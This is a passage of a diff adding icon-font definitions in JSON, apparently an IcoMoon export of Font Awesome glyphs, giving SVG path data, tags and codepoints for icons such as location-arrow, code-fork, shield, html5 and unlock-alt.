star-half-full, star-half-o", + "id": 260, + "order": 1116, + "prevSize": 28, + "code": 61731 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 260 + }, + { + "icon": { + "paths": [ + "M800.571 199.429l-365.714 731.429c-6.286 12.571-18.857 20-32.571 20-2.857 0-5.714-0.571-8.571-1.143-16.571-4-28-18.286-28-35.429v-329.143h-329.143c-17.143 0-31.429-11.429-35.429-28s4-33.714 18.857-41.143l731.429-365.714c5.143-2.857 10.857-4 16.571-4 9.714 0 18.857 3.429 25.714 10.857 11.429 10.857 14.286 28 6.857 42.286z" + ], + "width": 805.1565714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "location-arrow" + ], + "defaultCode": 61732, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "location-arrow", + "id": 261, + "order": 1117, + "prevSize": 28, + "code": 61732 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 261 + }, + { + "icon": { + "paths": [ + "M318.286 731.429h340v-340zM292.571 705.714l340-340h-340v340zM950.857 749.714v109.714c0 10.286-8 18.286-18.286 18.286h-128v128c0 10.286-8 18.286-18.286 18.286h-109.714c-10.286 0-18.286-8-18.286-18.286v-128h-493.714c-10.286 0-18.286-8-18.286-18.286v-493.714h-128c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h128v-128c0-10.286 8-18.286 18.286-18.286h109.714c10.286 0 18.286 8 18.286 18.286v128h486.286l140.571-141.143c7.429-6.857 18.857-6.857 26.286 0 6.857 7.429 6.857 18.857 0 26.286l-141.143 140.571v486.286h128c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 952.5394285714285, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "crop" + ], + "defaultCode": 61733, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "crop", + "id": 262, + "order": 1118, + "prevSize": 28, + "code": 61733 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 262 + }, + { + "icon": { + "paths": [ + "M164.571 841.143c0-30.286-24.571-54.857-54.857-54.857s-54.857 24.571-54.857 54.857 24.571 54.857 54.857 54.857 54.857-24.571 54.857-54.857zM164.571 182.857c0-30.286-24.571-54.857-54.857-54.857s-54.857 24.571-54.857 54.857 24.571 54.857 54.857 54.857 54.857-24.571 54.857-54.857zM530.286 256c0-30.286-24.571-54.857-54.857-54.857s-54.857 24.571-54.857 54.857 24.571 54.857 54.857 54.857 54.857-24.571 54.857-54.857zM585.143 256c0 40.571-22.286 76-54.857 94.857-1.714 206.286-148 252-245.143 282.857-90.857 28.571-120.571 42.286-120.571 97.714v14.857c32.571 18.857 54.857 54.286 54.857 94.857 0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714c0-40.571 22.286-76 54.857-94.857v-468.571c-32.571-18.857-54.857-54.286-54.857-94.857 0-60.571 49.143-109.714 109.714-109.714s109.714 49.143 109.714 109.714c0 40.571-22.286 76-54.857 94.857v284c29.143-14.286 60-24 88-32.571 106.286-33.714 166.857-58.857 168-178.286-32.571-18.857-54.857-54.286-54.857-94.857 0-60.571 49.143-109.714 109.714-109.714s109.714 49.143 109.714 109.714z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "code-fork" + ], + "defaultCode": 61734, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "code-fork", + "id": 263, + "order": 1119, + "prevSize": 28, + "code": 61734 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 263 + }, + { + "icon": { + "paths": [ + "M250.857 726.286l-146.286 146.286c-4 3.429-8.571 5.143-13.143 5.143s-9.143-1.714-13.143-5.143c-6.857-7.429-6.857-18.857 0-26.286l146.286-146.286c7.429-6.857 18.857-6.857 26.286 0 6.857 7.429 6.857 18.857 0 26.286zM347.429 749.714v182.857c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286v-182.857c0-10.286 8-18.286 18.286-18.286s18.286 8 18.286 18.286zM219.429 621.714c0 10.286-8 18.286-18.286 18.286h-182.857c-10.286 0-18.286-8-18.286-18.286s8-18.286 18.286-18.286h182.857c10.286 0 18.286 8 18.286 18.286zM941.714 694.857c0 44-17.143 85.143-48.571 116l-84 83.429c-30.857 30.857-72 47.429-116 47.429s-85.714-17.143-116.571-48.571l-190.857-191.429c-9.714-9.714-17.143-20.571-24-32l136.571-10.286 156 156.571c20.571 20.571 57.143 21.143 77.714 0.571l84-83.429c10.286-10.286 16-24 16-38.286 0-14.857-5.714-28.571-16-38.857l-156.571-157.143 10.286-136.571c11.429 6.857 22.286 14.286 32 24l192 192c30.857 31.429 48 72.571 48 116.571zM589.143 281.143l-136.571 10.286-156-156.571c-10.286-10.286-24-16-38.857-16s-28.571 5.714-38.857 15.429l-84 83.429c-10.286 10.286-16 24-16 38.286 0 14.857 5.714 28.571 16 38.857l156.571 156.571-10.286 137.143c-11.429-6.857-22.286-14.286-32-24l-192-192c-30.857-31.429-48-72.571-48-116.571s17.143-85.143 48.571-116l84-83.429c30.857-30.857 72-47.429 116-47.429s85.714 17.143 116.571 48.571l190.857 191.429c9.714 9.714 17.143 20.571 24 32zM950.857 329.143c0 10.286-8 18.286-18.286 18.286h-182.857c-10.286 0-18.286-8-18.286-18.286s8-18.286 18.286-18.286h182.857c10.286 0 18.286 8 18.286 18.286zM640 18.286v182.857c0 10.286-8 18.286-18.286 18.286s-18.286-8-18.286-18.286v-182.857c0-10.286 8-18.286 18.286-18.286s18.286 8 18.286 18.286zM872.571 104.571l-146.286 146.286c-4 3.429-8.571 5.143-13.143 5.143s-9.143-1.714-13.143-5.143c-6.857-7.429-6.857-18.857 0-26.286l146.286-146.286c7.429-6.857 18.857-6.857 26.286 0 6.857 7.429 6.857 18.857 0 26.286z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chain-broken", + "unlink" + ], + "defaultCode": 61735, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "chain-broken, unlink", + "id": 264, + "order": 1120, + "prevSize": 28, + "code": 61735 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 264 + }, + { + "icon": { + "paths": [ + "M365.714 768v73.143c0 20-16.571 36.571-36.571 36.571h-292.571c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h36.571v-219.429h-36.571c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h219.429c20 0 36.571 16.571 36.571 36.571v329.143h36.571c20 0 36.571 16.571 36.571 36.571zM292.571 109.714v109.714c0 20-16.571 36.571-36.571 36.571h-146.286c-20 0-36.571-16.571-36.571-36.571v-109.714c0-20 16.571-36.571 36.571-36.571h146.286c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 365.71428571428567, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "info" + ], + "defaultCode": 61737, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "info", + "id": 265, + "order": 1121, + "prevSize": 28, + "code": 61737 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 265 + }, + { + "icon": { + "paths": [ + "M292.571 713.143v128c0 20-16.571 36.571-36.571 36.571h-146.286c-20 0-36.571-16.571-36.571-36.571v-128c0-20 16.571-36.571 36.571-36.571h146.286c20 0 36.571 16.571 36.571 36.571zM309.714 109.714l-16 438.857c-0.571 20-17.714 36.571-37.714 36.571h-146.286c-20 0-37.143-16.571-37.714-36.571l-16-438.857c-0.571-20 15.429-36.571 35.429-36.571h182.857c20 0 36 16.571 35.429 36.571z" + ], + "width": 365.71428571428567, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "exclamation" + ], + "defaultCode": 61738, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "exclamation", + "id": 266, + "order": 1122, + "prevSize": 28, + "code": 61738 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 266 + }, + { + "icon": { + "paths": [ + "M512.571 782.286v95.429h-141.714l-90.857-144-13.714-24c-3.429-4-5.143-8-6.286-12h-1.714c-1.143 4-3.429 8-5.143 12-3.429 6.857-8.571 16-14.286 25.143l-88.571 142.857h-147.429v-95.429h73.143l112.571-166.286-105.714-155.429h-78.286v-96h157.714l79.429 130.286c5.143 8 9.143 16.571 13.143 24 3.429 4 5.143 8 6.286 12h1.714c1.143-4 3.429-8 6.286-12l14.286-24 80-130.286h146.857v96h-71.429l-105.143 152.571 116.571 169.143h62.286zM876.571 394.286v117.714h-293.714l-1.714-15.429c-1.143-8-2.286-18.857-2.286-26.286 0-156 200-169.143 200-252 0-29.714-26.857-49.714-57.143-49.714-21.714 0-41.143 10.286-55.429 22.286-7.429 6.286-14.286 14.286-20.571 21.714l-60-52.571c10.286-14.286 21.714-26.286 36-37.714 24-18.857 58.857-37.143 107.429-37.143 82.857 0 140.571 48.571 140.571 124.571 0 137.143-189.714 148.571-197.714 230.286h132.571v-45.714h72z" + ], + "width": 879.3965714285714, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "superscript" + ], + "defaultCode": 61739, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "superscript", + "id": 267, + "order": 1123, + "prevSize": 28, + "code": 61739 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 267 + }, + { + "icon": { + "paths": [ + "M512.571 782.286v95.429h-141.714l-90.857-144-13.714-24c-3.429-4-5.143-8-6.286-12h-1.714c-1.143 4-3.429 8-5.143 12-3.429 6.857-8.571 16-14.286 25.143l-88.571 142.857h-147.429v-95.429h73.143l112.571-166.286-105.714-155.429h-78.286v-96h157.714l79.429 130.286c5.143 8 9.143 16.571 13.143 24 3.429 4 5.143 8 6.286 12h1.714c1.143-4 3.429-8 6.286-12l14.286-24 80-130.286h146.857v96h-71.429l-105.143 152.571 116.571 169.143h62.286zM877.714 906.286v117.714h-293.714l-2.286-15.429c-0.571-8.571-1.714-18.857-1.714-26.286 0-156 200-169.143 200-252 0-29.714-26.857-49.714-57.143-49.714-22.286 0-41.143 10.286-55.429 22.286-7.429 6.286-14.286 14.286-20.571 21.714l-60-52.571c10.286-14.286 21.714-26.286 36-37.714 24-19.429 58.857-37.143 107.429-37.143 82.857 0 140.571 48.571 140.571 124.571 0 136.571-189.714 148-197.714 230.286h132.571v-45.714h72z" + ], + "width": 880.5668571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "subscript" + ], + "defaultCode": 61740, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "subscript", + "id": 268, + "order": 1124, + "prevSize": 28, + "code": 61740 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 268 + }, + { + "icon": { + "paths": [ + "M512 804.571l192-219.429h-438.857l-192 219.429h438.857zM1090.857 189.143c11.429 26.286 6.857 56.571-12 78.286l-512 585.143c-13.714 16-33.714 25.143-54.857 25.143h-438.857c-28.571 0-54.857-16.571-66.857-42.857-11.429-26.286-6.857-56.571 12-78.286l512-585.143c13.714-16 33.714-25.143 54.857-25.143h438.857c28.571 0 54.857 16.571 66.857 42.857z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "eraser" + ], + "defaultCode": 61741, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "eraser", + "id": 269, + "order": 1125, + "prevSize": 28, + "code": 61741 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 269 + }, + { + "icon": { + "paths": [ + "M950.857 627.429c0 58.857-33.714 108-96 108-69.714 0-88-63.429-150.857-63.429-45.714 0-62.857 28.571-62.857 70.857 0 44.571 18.286 87.429 17.714 131.429v2.857c-6.286 0-12.571 0-18.857 0.571-58.857 5.714-118.286 17.143-177.714 17.143-40.571 0-82.857-16-82.857-62.857 0-62.857 63.429-81.143 63.429-150.857 0-62.286-49.143-96-108-96-60 0-115.429 33.143-115.429 98.857 0 72.571 55.429 104 55.429 143.429 0 20-12.571 37.714-26.286 50.857-17.714 16.571-42.857 20-66.857 20-46.857 0-93.714-6.286-140-13.714-10.286-1.714-21.143-2.857-31.429-4.571l-7.429-1.143c-1.143-0.571-2.857-0.571-2.857-1.143v-585.143c2.286 1.714 36 5.714 41.714 6.857 46.286 7.429 93.143 13.714 140 13.714 24 0 49.143-3.429 66.857-20 13.714-13.143 26.286-30.857 26.286-50.857 0-39.429-55.429-70.857-55.429-143.429 0-65.714 55.429-98.857 116-98.857 58.286 0 107.429 33.714 107.429 96 0 69.714-63.429 88-63.429 150.857 0 46.857 42.286 62.857 82.857 62.857 65.714 0 130.857-14.857 196-18.286v1.143c-1.714 2.286-5.714 36-6.857 41.714-7.429 46.286-13.714 93.143-13.714 140 0 24 3.429 49.143 20 66.857 13.143 13.714 30.857 26.286 50.857 26.286 39.429 0 70.857-55.429 143.429-55.429 65.714 0 98.857 55.429 98.857 115.429z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "puzzle-piece" + ], + "defaultCode": 61742, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "puzzle-piece", + "id": 270, + "order": 1126, + "prevSize": 28, + "code": 61742 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 270 + }, + { + "icon": { + "paths": [ + "M658.286 402.286v73.143c0 169.143-128 308.571-292.571 326.857v75.429h146.286c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571h-365.714c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571h146.286v-75.429c-164.571-18.286-292.571-157.714-292.571-326.857v-73.143c0-20 16.571-36.571 36.571-36.571s36.571 16.571 36.571 36.571v73.143c0 141.143 114.857 256 256 256s256-114.857 256-256v-73.143c0-20 16.571-36.571 36.571-36.571s36.571 16.571 36.571 36.571zM512 182.857v292.571c0 100.571-82.286 182.857-182.857 182.857s-182.857-82.286-182.857-182.857v-292.571c0-100.571 82.286-182.857 182.857-182.857s182.857 82.286 182.857 182.857z" + ], + "width": 658.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "microphone" + ], + "defaultCode": 61744, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "microphone", + "id": 271, + "order": 1127, + "prevSize": 28, + "code": 61744 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 271 + }, + { + "icon": { + "paths": [ + "M154.857 540l-57.714 57.714c-15.429-37.714-24-78.857-24-122.286v-73.143c0-20 16.571-36.571 36.571-36.571s36.571 16.571 36.571 36.571v73.143c0 22.286 3.429 44 8.571 64.571zM791.429 196l-206.286 206.286v73.143c0 100.571-82.286 182.857-182.857 182.857-21.714 0-42.857-4-62.286-10.857l-54.857 54.857c34.857 18.286 74.857 29.143 117.143 29.143 141.143 0 256-114.857 256-256v-73.143c0-20 16.571-36.571 36.571-36.571s36.571 16.571 36.571 36.571v73.143c0 169.143-128 308.571-292.571 326.857v75.429h146.286c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571h-365.714c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571h146.286v-75.429c-48.571-5.143-94.286-21.714-134.286-46.286l-145.143 145.143c-7.429 7.429-18.857 7.429-26.286 0l-46.857-46.857c-7.429-7.429-7.429-18.857 0-26.286l705.143-705.143c7.429-7.429 18.857-7.429 26.286 0l46.857 46.857c7.429 7.429 7.429 18.857 0 26.286zM574.286 120.571l-354.857 354.857v-292.571c0-100.571 82.286-182.857 182.857-182.857 78.857 0 146.286 50.857 172 120.571z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "microphone-slash" + ], + "defaultCode": 61745, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "microphone-slash", + "id": 272, + "order": 1128, + "prevSize": 28, + "code": 61745 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 272 + }, + { + "icon": { + "paths": [ + "M621.714 548.571v-365.714h-256v649.714c29.143-15.429 76-42.286 121.714-78.286 61.143-48 134.286-122.857 134.286-205.714zM731.429 109.714v438.857c0 240.571-336.571 392.571-350.857 398.857-4.571 2.286-9.714 3.429-14.857 3.429s-10.286-1.143-14.857-3.429c-14.286-6.286-350.857-158.286-350.857-398.857v-438.857c0-20 16.571-36.571 36.571-36.571h658.286c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 731.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "shield" + ], + "defaultCode": 61746, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "shield", + "id": 273, + "order": 1129, + "prevSize": 28, + "code": 61746 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 273 + }, + { + "icon": { + "paths": [ + "M73.143 950.857h804.571v-585.143h-804.571v585.143zM292.571 256v-164.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v164.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM731.429 256v-164.571c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v164.571c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM950.857 219.429v731.429c0 40-33.143 73.143-73.143 73.143h-804.571c-40 0-73.143-33.143-73.143-73.143v-731.429c0-40 33.143-73.143 73.143-73.143h73.143v-54.857c0-50.286 41.143-91.429 91.429-91.429h36.571c50.286 0 91.429 41.143 91.429 91.429v54.857h219.429v-54.857c0-50.286 41.143-91.429 91.429-91.429h36.571c50.286 0 91.429 41.143 91.429 91.429v54.857h73.143c40 0 73.143 33.143 73.143 73.143z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "calendar-o" + ], + "defaultCode": 61747, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "calendar-o", + "id": 274, + "order": 1130, + "prevSize": 28, + "code": 61747 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 274 + }, + { + "icon": { + "paths": [ + "M292.571 109.714c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM804.571 91.429v182.857c0 5.714-2.286 10.857-6.857 14.286-3.429 2.857-7.429 4-11.429 4-1.143 0-2.286 0-4-0.571l-256-54.857c-8-1.714-14.286-9.143-14.286-17.714h-146.286v58.286c83.429 17.143 146.286 90.857 146.286 179.429v457.143c0 20-16.571 36.571-36.571 36.571h-292.571c-20 0-36.571-16.571-36.571-36.571v-457.143c0-81.714 53.714-151.429 128-174.286v-63.429h-18.286c-121.143 0-186.286 125.143-186.857 126.286-6.286 12.571-19.429 20-32.571 20-5.714 0-11.429-1.143-16.571-4-17.714-9.143-25.143-30.857-16-49.143 2.857-5.714 60-116.571 174.857-153.714-8.571-14.286-14.286-30.857-14.286-49.143 0-50.286 41.143-91.429 91.429-91.429s91.429 41.143 91.429 91.429c0 13.143-2.857 25.143-8 36.571h172.571c0-8.571 6.286-16 14.286-17.714l256-54.857c1.714-0.571 2.857-0.571 4-0.571 4 0 8 1.143 11.429 4 4.571 3.429 6.857 8.571 6.857 14.286z" + ], + "width": 799.4514285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fire-extinguisher" + ], + "defaultCode": 61748, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "fire-extinguisher", + "id": 275, + "order": 1131, + "prevSize": 28, + "code": 61748 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 275 + }, + { + "icon": { + "paths": [ + "M822.857 256c0-30.286-24.571-54.857-54.857-54.857s-54.857 24.571-54.857 54.857 24.571 54.857 54.857 54.857 54.857-24.571 54.857-54.857zM950.857 91.429c0 189.714-52.571 316-188 452-33.143 32.571-70.857 66.286-111.429 100.571l-11.429 216.571c-0.571 5.714-4 11.429-9.143 14.857l-219.429 128c-2.857 1.714-5.714 2.286-9.143 2.286-4.571 0-9.143-1.714-13.143-5.143l-36.571-36.571c-4.571-5.143-6.286-12-4.571-18.286l48.571-157.714-160.571-160.571-157.714 48.571c-1.714 0.571-3.429 0.571-5.143 0.571-4.571 0-9.714-1.714-13.143-5.143l-36.571-36.571c-5.714-6.286-6.857-15.429-2.857-22.286l128-219.429c3.429-5.143 9.143-8.571 14.857-9.143l216.571-11.429c34.286-40.571 68-78.286 100.571-111.429 142.857-142.286 252-188 450.857-188 10.286 0 19.429 8 19.429 18.286z" + ], + "width": 967.4605714285714, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "rocket" + ], + "defaultCode": 61749, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "rocket", + "id": 276, + "order": 1132, + "prevSize": 28, + "code": 61749 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 276 + }, + { + "icon": { + "paths": [ + "M997.143 441.714l-93.714 436h-190.857l101.714-475.429c4.571-20 1.714-38.286-8.571-50.286-9.714-12-26.857-18.857-47.429-18.857h-96.571l-116.571 544.571h-190.857l116.571-544.571h-163.429l-116.571 544.571h-190.857l116.571-544.571-87.429-186.857h729.143c77.143 0 147.429 32 192.571 88 45.714 56 62.286 132 46.286 207.429z" + ], + "width": 1013.1748571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "maxcdn" + ], + "defaultCode": 61750, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "maxcdn", + "id": 277, + "order": 1133, + "prevSize": 28, + "code": 61750 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 277 + }, + { + "icon": { + "paths": [ + "M519.429 797.143l58.286-58.286c14.286-14.286 14.286-37.143 0-51.429l-175.429-175.429 175.429-175.429c14.286-14.286 14.286-37.143 0-51.429l-58.286-58.286c-14.286-14.286-37.143-14.286-51.429 0l-259.429 259.429c-14.286 14.286-14.286 37.143 0 51.429l259.429 259.429c14.286 14.286 37.143 14.286 51.429 0zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chevron-circle-left" + ], + "defaultCode": 61751, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "chevron-circle-left", + "id": 278, + "order": 1134, + "prevSize": 28, + "code": 61751 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 278 + }, + { + "icon": { + "paths": [ + "M409.714 797.143l259.429-259.429c14.286-14.286 14.286-37.143 0-51.429l-259.429-259.429c-14.286-14.286-37.143-14.286-51.429 0l-58.286 58.286c-14.286 14.286-14.286 37.143 0 51.429l175.429 175.429-175.429 175.429c-14.286 14.286-14.286 37.143 0 51.429l58.286 58.286c14.286 14.286 37.143 14.286 51.429 0zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chevron-circle-right" + ], + "defaultCode": 61752, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "chevron-circle-right", + "id": 279, + "order": 1135, + "prevSize": 28, + "code": 61752 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 279 + }, + { + "icon": { + "paths": [ + "M665.714 650.857l58.286-58.286c14.286-14.286 14.286-37.143 0-51.429l-259.429-259.429c-14.286-14.286-37.143-14.286-51.429 0l-259.429 259.429c-14.286 14.286-14.286 37.143 0 51.429l58.286 58.286c14.286 14.286 37.143 14.286 51.429 0l175.429-175.429 175.429 175.429c14.286 14.286 37.143 14.286 51.429 0zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chevron-circle-up" + ], + "defaultCode": 61753, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "chevron-circle-up", + "id": 280, + "order": 1136, + "prevSize": 28, + "code": 61753 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 280 + }, + { + "icon": { + "paths": [ + "M464.571 742.286l259.429-259.429c14.286-14.286 14.286-37.143 0-51.429l-58.286-58.286c-14.286-14.286-37.143-14.286-51.429 0l-175.429 175.429-175.429-175.429c-14.286-14.286-37.143-14.286-51.429 0l-58.286 58.286c-14.286 14.286-14.286 37.143 0 51.429l259.429 259.429c14.286 14.286 37.143 14.286 51.429 0zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chevron-circle-down" + ], + "defaultCode": 61754, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "chevron-circle-down", + "id": 281, + "order": 1137, + "prevSize": 28, + "code": 61754 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 281 + }, + { + "icon": { + "paths": [ + "M645.714 341.143l9.143-100h-505.143l26.857 305.143h349.714l-12.571 130.286-112.571 30.286-112-30.286-7.429-80h-100l12.571 158.857 206.857 57.143h2.286v-0.571l205.143-56.571 28.571-310.857h-368l-8.571-103.429h385.143zM0 73.143h804.571l-73.143 821.714-330.286 92.571-328-92.571z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "html5" + ], + "defaultCode": 61755, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "html5", + "id": 282, + "order": 1138, + "prevSize": 28, + "code": 61755 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 282 + }, + { + "icon": { + "paths": [ + "M157.143 73.143h860l-152 761.714-459.429 152.571-398.857-152.571 40.571-203.429h169.714l-16.571 84 241.143 92 277.714-92 38.857-193.714h-690.286l33.143-169.714h690.857l21.714-109.143h-690.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "css3" + ], + "defaultCode": 61756, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "css3", + "id": 283, + "order": 1139, + "prevSize": 28, + "code": 61756 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 283 + }, + { + "icon": { + "paths": [ + "M548.571 146.286c0-20-16.571-36.571-36.571-36.571s-36.571 16.571-36.571 36.571 16.571 36.571 36.571 36.571 36.571-16.571 36.571-36.571zM1024 676.571v201.143c0 7.429-4.571 14.286-11.429 17.143-2.286 0.571-4.571 1.143-6.857 1.143-4.571 0-9.143-1.714-13.143-5.143l-53.143-53.143c-89.714 108-250.857 177.143-427.429 177.143s-337.714-69.143-427.429-177.143l-53.143 53.143c-3.429 3.429-8.571 5.143-13.143 5.143-2.286 0-4.571-0.571-6.857-1.143-6.857-2.857-11.429-9.714-11.429-17.143v-201.143c0-10.286 8-18.286 18.286-18.286h201.143c7.429 0 14.286 4.571 17.143 11.429s1.143 14.286-4 20l-57.143 57.143c51.429 69.143 150.286 119.429 263.429 134.857v-369.714h-109.714c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h109.714v-93.143c-43.429-25.143-73.143-72-73.143-126.286 0-80.571 65.714-146.286 146.286-146.286s146.286 65.714 146.286 146.286c0 54.286-29.714 101.143-73.143 126.286v93.143h109.714c20 0 36.571 16.571 36.571 36.571v73.143c0 20-16.571 36.571-36.571 36.571h-109.714v369.714c113.143-15.429 212-65.714 263.429-134.857l-57.143-57.143c-5.143-5.714-6.857-13.143-4-20s9.714-11.429 17.143-11.429h201.143c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "anchor" + ], + "defaultCode": 61757, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "anchor", + "id": 284, + "order": 1140, + "prevSize": 28, + "code": 61757 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 284 + }, + { + "icon": { + "paths": [ + "M603.429 438.857c30.286 0 54.857 24.571 54.857 54.857v329.143c0 30.286-24.571 54.857-54.857 54.857h-548.571c-30.286 0-54.857-24.571-54.857-54.857v-329.143c0-30.286 24.571-54.857 54.857-54.857h18.286v-182.857c0-141.143 114.857-256 256-256s256 114.857 256 256c0 20-16.571 36.571-36.571 36.571h-36.571c-20 0-36.571-16.571-36.571-36.571 0-80.571-65.714-146.286-146.286-146.286s-146.286 65.714-146.286 146.286v182.857h420.571z" + ], + "width": 658.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "unlock-alt" + ], + "defaultCode": 61758, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "unlock-alt", + "id": 285, + "order": 1141, + "prevSize": 28, + "code": 61758 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 285 + }, + { + "icon": { + "paths": [ + "M585.143 512c0 80.571-65.714 146.286-146.286 146.286s-146.286-65.714-146.286-146.286 65.714-146.286 146.286-146.286 146.286 65.714 146.286 146.286zM658.286 512c0-121.143-98.286-219.429-219.429-219.429s-219.429 98.286-219.429 219.429 98.286 219.429 219.429 219.429 219.429-98.286 219.429-219.429zM731.429 512c0 161.714-130.857 292.571-292.571 292.571s-292.571-130.857-292.571-292.571 130.857-292.571 292.571-292.571 292.571 130.857 292.571 292.571zM804.571 512c0-201.714-164-365.714-365.714-365.714s-365.714 